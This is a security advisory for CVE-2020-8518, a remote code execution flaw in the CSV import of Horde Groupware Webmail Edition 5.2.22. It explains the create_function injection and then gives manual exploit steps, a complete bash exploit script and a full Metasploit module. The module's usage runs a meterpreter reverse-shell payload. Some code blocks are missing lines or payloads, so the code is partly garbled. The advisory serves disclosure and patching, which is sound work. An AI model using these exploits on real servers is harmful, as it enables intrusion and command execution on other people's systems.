[CVE-2020-8518] Horde Groupware Webmail Edition 5.2.22 — RCE in CSV data import

Andrea Cardaci — 10 March 2020

Discovered 2019-06-19
Author Andrea Cardaci
Product Horde Groupware Webmail Edition
Tested versions 2.1.4 (Horde Data API)
CVE CVE-2020-8518


The Horde project comprises several standalone applications and libraries, the Horde Groupware Webmail Edition suite (tested version 5.2.22) bundles several of them by default, among those, Data is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.

The function in charge of parsing the CSV format uses create_function in a way that is possible to inject arbitrary PHP code thus achieving RCE on the server hosting the web application.

This feature is used by several Horde applications: Turba (address book; via /turba/data.php), Mnemo (notes; via /mnemo/data.php), Nag (tasks; via /nag/data.php) and Kronolith (calendar)1. By using one of these an authenticated user can execute PHP and shell code as the user that runs the web server, usually www-data.

In the master branch of the Data repository a commit replaced create_function with a lambda function (as suggested by PHP that deprecated create_function in version 7.2.0) yet apparently the authors failed to recognize the exploitable status of the prior code so they did not bump a new version, thus installing Horde via PEAR or Debian APT yields the vulnerable version (2.1.4).

Since this vulnerability does not concern IMP (the Horde webmail application) it is likely that also regular Horde Groupware (non-webmail edition) installations are affected.


In the file lib/Horde/Data/Csv.php the following snippet is used to parse a CSV line:

if ($row) {
    $row = (strlen($params['quote']) && strlen($params['escape']))
        ? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
        : array_map('trim', $row);

Among the other things, the user supplies $params['quote'], so for example if its value is quote then create_function is called as:

create_function('$a', "return str_replace('\\quote', 'quote', \$a);");

The insufficient sanitization of $params['quote'] escapes ' as \' but fails to escape the \ itself thus allowing to escape the last hard coded '. By passing quote\, create_function is called as:

create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a);")

And evaluated body is:

return str_replace('\quote\', 'quote\', $a);

Which causes a syntax error. (Note how the first string argument of str_replace now terminates at the first ' of the second instance of quote.)

Follows a simple payload that executes the id shell command and returns the output in the response:


Where the evaluated body eventually is:

return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);

Here is the explanation of its parts:

Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:


Proof of concept

Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.

Manual exploit

This vulnerability can be easily exploited manually by any registered user:

  1. log into Horde;

  2. navigate to http://target.com/mnemo/data.php;

  3. select any non-empty file to import then click “Next”;

  4. in the input field labeled by “What is the quote character?” write the payload, e.g., ).passthru("id").die();}//\ then click “Next”;

  5. the output of the command should be returned, for example:

    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell exploit

Follows a simple script that automates the above steps:


if [ "$#" -ne 4 ]; then
    echo '[!] Usage: <url> <username> <password> <command>' 1>&2
    exit 1


trap 'rm -f "$JAR"' EXIT

echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2
curl -si -c "$JAR" "$BASE/login.php" \
    -d 'login_post=1' \
    -d "horde_user=$USERNAME" \
    -d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \
    echo '[!] Cannot log in' 1>&2

echo "[+] Uploading dummy file" 1>&2
echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \
    -F 'actionID=11' \
    -F 'import_step=1' \
    -F 'import_format=csv' \
    -F 'notepad_target=x' \
    -F 'import_file=@-;filename=x' \
    -so /dev/null

echo "[+] Running command" 1>&2
BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)"
curl -b "$JAR" "$BASE/mnemo/data.php" \
    -d 'actionID=3' \
    -d 'import_step=2' \
    -d 'import_format=csv' \
    -d 'header=1' \
    -d 'fields=1' \
    -d 'sep=x' \
    --data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\"

Metasploit module

A Metasploit module is provided for convenience2:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
        'Name'           => 'Horde CSV import arbitrary PHP code execution',
        'Description'    => %q{

          The Horde_Data module version 2.1.4 (and before) present in Horde
          Groupware version 5.2.22 allows authenticated users to inject
          arbitrary PHP code thus achieving RCE on the server hosting the web

        'License'        => MSF_LICENSE,
        'Author'         => ['Andrea Cardaci <cyrus.and@gmail.com>'],
        'References'     => [
          ['CVE', '2020-8518'],
          ['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
        'DisclosureDate' => '2020-02-07',
        'Platform'       => 'php',
        'Arch'           => ARCH_PHP,
        'Targets'        => [['Automatic', {}]],
        'Payload'        => {'BadChars' => "'"},
        'Privileged'     => false,
        'DefaultTarget'  => 0))

        OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
        OptString.new('USERNAME',  [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',  [true, 'The password to authenticate with'])

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri, 'login.php'),
      'cookie'    => 'Horde=x', # avoid multiple Set-Cookie
      'vars_post' => {
        'horde_user' => username,
        'horde_pass' => password,
        'login_post' => '1'})
    if not res or res.code != 302 or res.headers['Location'] != '/services/portal/'
      fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
      vprint_good("Logged in as #{username}:#{password}")
      return res.get_cookies

  def upload_csv(cookie)
    data = Rex::MIME::Message.new
    data.add_part('11',  nil, nil, 'form-data; name="actionID"')
    data.add_part('1',   nil, nil, 'form-data; name="import_step"')
    data.add_part('csv', nil, nil, 'form-data; name="import_format"')
    data.add_part('x',   nil, nil, 'form-data; name="notepad_target"')
    data.add_part('x',   nil, nil, 'form-data; name="import_file"; filename="x"')
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie' => cookie,
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => data.to_s)
    if not res or res.code != 200
      fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
      vprint_good('CSV file uploaded')

  def execute(cookie, function_call, check)
    options = {
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie'    => cookie,
      'vars_post' => {
        'actionID'      => '3',
        'import_step'   => '2',
        'import_format' => 'csv',
        'header'        => '1',
        'fields'        => '1',
        'sep'           => 'x',
        'quote'         => ").#{function_call}.die();}//\\"}}
    if check
      # deliver the payload and return the body
      res = send_request_cgi(options)
      if not res or res.code != 200
        fail_with(Failure::UnexpectedReply, 'Cannot execute the payload')
        vprint_good('Payload executed successfully')
        return res.body
      # deliver the payload in a a new thread since the meterpreter payload does
      # not terminate when successful this allows to poll for session creation
      t = framework.threads.spawn(nil, false) {
      while t.alive? and not session_created?

  def check
      cookie = login()
      body = execute(cookie, 'printf("check")', true)
      return Exploit::CheckCode::Appears if body == 'check'
    rescue Msf::Exploit::Failed
    return Exploit::CheckCode::Safe

  def exploit
    cookie = login()
    # do not terminate the statement
    function_call = payload.encoded.tr(';', '')
    vprint_status("Sending payload: #{function_call}")
    execute(cookie, function_call, false)

Place it in ~/.msf4/modules/exploits/multi/http/horde_csv_rce.rb, then use it like:

use exploit/multi/http/horde_csv_rce
set payload php/meterpreter/reverse_tcp
set lhost
set rhost target.com
set username username
set password password


First contact with SecuriTeam Secure Disclosure (SSD).
Disclosure via the SSD program.
SSD grants the reward.
Horde development team fixes the issue in version 2.1.5.
SSD publishes the advisory.
Rapid7 adds the module to Metasploit.
  1. Although it seems feasible according to the source code it does not seem possible to reach the feature via the web interface. 

  2. This module (with some modifications) is now part of Metasploit.